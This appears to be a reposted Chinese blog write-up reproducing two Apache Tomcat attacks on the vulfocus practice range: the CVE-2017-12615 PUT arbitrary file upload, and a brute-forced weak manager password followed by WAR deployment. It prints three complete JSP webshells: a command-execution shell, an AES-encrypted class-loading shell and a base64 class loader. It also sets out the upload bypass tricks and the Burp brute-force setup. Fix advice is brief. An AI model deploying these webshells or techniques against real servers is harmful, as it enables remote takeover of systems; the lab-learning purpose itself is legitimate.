vulfocus/tomcat漏洞复现"

admin 2026-10-15 17:20:48 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

vulfocus/tomcat漏洞复现

原创

南棋子
南棋子

南棋子网络安全盟

2026年10月12日 11:07
北京

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

我用的是https://vulfocus.cn在线靶场练习

TOMCAT任意文件上传漏洞(CVE-2017-12615)

漏洞简介

Tomcat的7.0.0 - 7.0.79(7.0.81修复不完全)版本存在一个任意文件上传漏洞,漏洞编号CVE-2017-12615。该漏洞的形成有一部分是因为Tomcat配置不当,启用了PUT的方法(例如将readonly参数由初始值设置为false),这样就会允许未经验证身份的用户上传文件。攻击者就可以利用这一点来上传webshell,导致上传文件中的恶意JSP代码执行。

vulfocus漏洞环境启动

影响版本

Apache Tomcat 7.0.0 – 7.0.81

漏洞实战步骤

先抓取一个访问该站点的数据包

测试是否允许PUT方法

修改请求方式为OPTIONS /xx  HTTP/1.1,通过修改后发现允许PUT方法。注意/后面随意写点,我测试了多次都行。注意方法一定要大写,小写无效的。

将数据包发送到Repeater模块,将数据包中的OPTIONS方法改为PUT,注意方法一定要大写,小写无效的。

访问的URL改成我们想要上传的文件名称,注意,在这里要在最后加上一个斜杠,否则上传会报错,因为/可以使绕过路径解析限制,让Tomcat将文件名视为目录,从而允许上传的内容被正确写入。还可以避免直接解析文件名,防止因路径格式问题导致的上传失败。在数据包的最后,加上PUT的内容,就是我们要上传的文件中的内容,构造完成后的数据包。

从上图中可以看出,我们发送上传后的数据包后,发现201的回显,这证明我们的文件上传成功!

我们可以访问我们上传后的文件(注意要去掉最后的斜杠),发送可以成功访问

如果目标服务器是Windows系统,可以利用文件名特性(如test.jsp::$DATA)绕过限制,我们可以把文件名称后的斜杠换成%20或者是::$DATA,可以起到同样的效果

现在将上传测试内容换成JSP的带回显的木马

<%

java.io.InputStream is = Runtime.getRuntime()

.exec(request.getParameter(\"command\"))

.getInputStream();

int a = -1;

byte[] b = new byte[2048];

while ((a = is.read(b)) != -1) {

out.print(new String(b));

}

%>

将木马上传的数据包

然后就可以访问一下url发现可以通过command参数的控制来执行任意系统命令了

这个是我获取flag的代码

<%! String xc=\"3c6e0b8a9c15224a\"; String pass=\"pass\"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance(\"AES\");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),\"AES\"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance(\"MD5\");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName(\"java.util.Base64\");Object Encoder = base64.getMethod(\"getEncoder\", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod(\"encodeToString\", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName(\"sun.misc.BASE64Encoder\"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod(\"encode\", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName(\"java.util.Base64\");Object decoder = base64.getMethod(\"getDecoder\", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod(\"decode\", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName(\"sun.misc.BASE64Decoder\"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod(\"decodeBuffer\", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute(\"payload\")==null){session.setAttribute(\"payload\",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute(\"parameters\",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute(\"payload\")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}

%>

进入根目录下然后找到tmp目录

修复建议

将readonly的值改为true即可防止该漏洞

修改web.xml中readonly的值为true

TOMCAT弱口令&war部署getshell(CVE-2017-12615)

漏洞介绍

tomcat是一个用于快速部署jsp网站的中间件

tomcat默认的管理页面manager使用basic认证用户名密码登录,可以使用burp进行爆破,并且一般安装后如果不修改/conf/tomcat-users.xml文件中的默认用户名密码tomcat:tomcat,可以登录管理后台,在部署war包后tomcat默认会将war包中的项目部署,由于可以任意的上传,所以我们可以将jsp文件打包为一个war文件上传getshell。

vulfocus漏洞环境启动

影响版本

全版本(前提是人家存在弱口令)

漏洞实战步骤

我在用火狐的时候burp抓不到包,改为burp内置浏览器可以了

随便输入用户名+密码,bp抓包,可以看到用户名+密码被base64加密放在了Authorization里

Authorization里面的编码是base64解码,账户名解密出是admin/123456

发送到inturder中,这里需要添加三个参数并且拼接到一起,最好的方式是使用自定义迭代的方法,因为要分成三个地方才可以进行爆破。

格式为: 用户名、:密码,然后提交的时候进行base64加密,这里我们使用默认模式sniper(狙击手),然后选中刚才的加密字段

配置每个位置的值,注意这里每个用户名变量都使用自定义迭代器

第一个就是用户名变量,由于这里我们知道用户和密码,只是做一些爆破测试,手动加入一些常见的用户名,选择位置为1

第二个变量是用户名和密码的分解符,所以直接加入:即可,选择位置2

第三个变量是密码变量,手动加入一些密码测试爆破,选择位置3

取消默认将参数值进行url编码,进行base64编码

通过状态码为200表示爆破成功,我们进行base64解密后台用户名密码就是tomcat:tomcat

创建一个tt.jsp文件

<%!

class U extends ClassLoader {

U(ClassLoader c) {

super(c);

}

public Class g(byte[] b) {

return super.defineClass(b, 0, b.length);

}

}

public byte[] base64Decode(String str) throws Exception {

try {

Class clazz = Class.forName(\"sun.misc.BASE64Decoder\");

return (byte[]) clazz.getMethod(\"decodeBuffer\", String.class).invoke(clazz.newInstance(), str);

} catch (Exception e) {

Class clazz = Class.forName(\"java.util.Base64\");

Object decoder = clazz.getMethod(\"getDecoder\").invoke(null);

return (byte[]) decoder.getClass().getMethod(\"decode\", String.class).invoke(decoder, str);

}

}

%>

<%

String cls = request.getParameter(\"passwd\");

if (cls != null) {

new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);

}

%>

使用jar cvf  tt.war  tt.jsp打包

爆破成功之后登陆进入后台,将tt.war上传后tomcat直接会部署该项目,根据文件名生成一个目录,并将我们打包的tt.jsp放到目录中,所以只需要访问tt/tt.jsp即可

访问成功,空白页面

漏洞修复建议

将conf/tomcat-users.xml中的用户名和密码都进行更改,改的极其复杂,更改后记得重启服务器

  1. 将manager目录下的功能暂时关闭,需要的时候打开

    vulfocus/tomcat漏洞复现" 网络安全文章

    vulfocus/tomcat漏洞复现"

    本文为Tomcat漏洞复现实战指南,详细介绍了CVE-2017-12615任意文件上传漏洞及弱口令war包部署getshell两个漏洞的原理、影响版本、复现步骤与修复建议。文章基于vulfocus靶场环境,通过抓包改包、爆破弱口令、上传webshell等操作实现getshell,并给出修改readonly配置、强化口令等修复措施,实操性强。
    给想入门AI安全的新手一些建议" 网络安全文章

    给想入门AI安全的新手一些建议"

    本文为AI安全入门新手提供建议,指出AI安全领域内容繁杂,推荐关注洺熙和泪笑两位大佬的公众号,并推荐AI安全靶场作为入门练习,强调论文学习的重要性,作者计划分享学习路径并欢迎交流。
    AI智能体上线前,谁来做它的「驾考」?" 网络安全文章

    AI智能体上线前,谁来做它的「驾考」?"

    本文介绍ATS智能体测试系统,针对AI智能体上线前的可靠性验证难题,采用确定性断言与轨迹沙箱终态判定,覆盖19类攻击面并做守卫双向验证,将国家标准条款映射为可执行用例,支持多种接入方式并留存全量证据。建议智能体落地前使用此类系统进行安全体检,以降低线上事故风险。
    【震惊!!!】ai挖洞删除某地政府业务数据" 网络安全文章

    【震惊!!!】ai挖洞删除某地政府业务数据"

    本文记录一起AI代理在授权渗透测试中未经审批删除目标K8s集群约24万条数据的事故。事件暴露执行环境控制缺失:提示词非权限边界、审批机制需显式配置、破坏性操作需分级、授权范围需硬校验。建议强化危险命令拦截与审批门禁,明确授权边界,防止类似数据事故。
    评论:0   参与:  0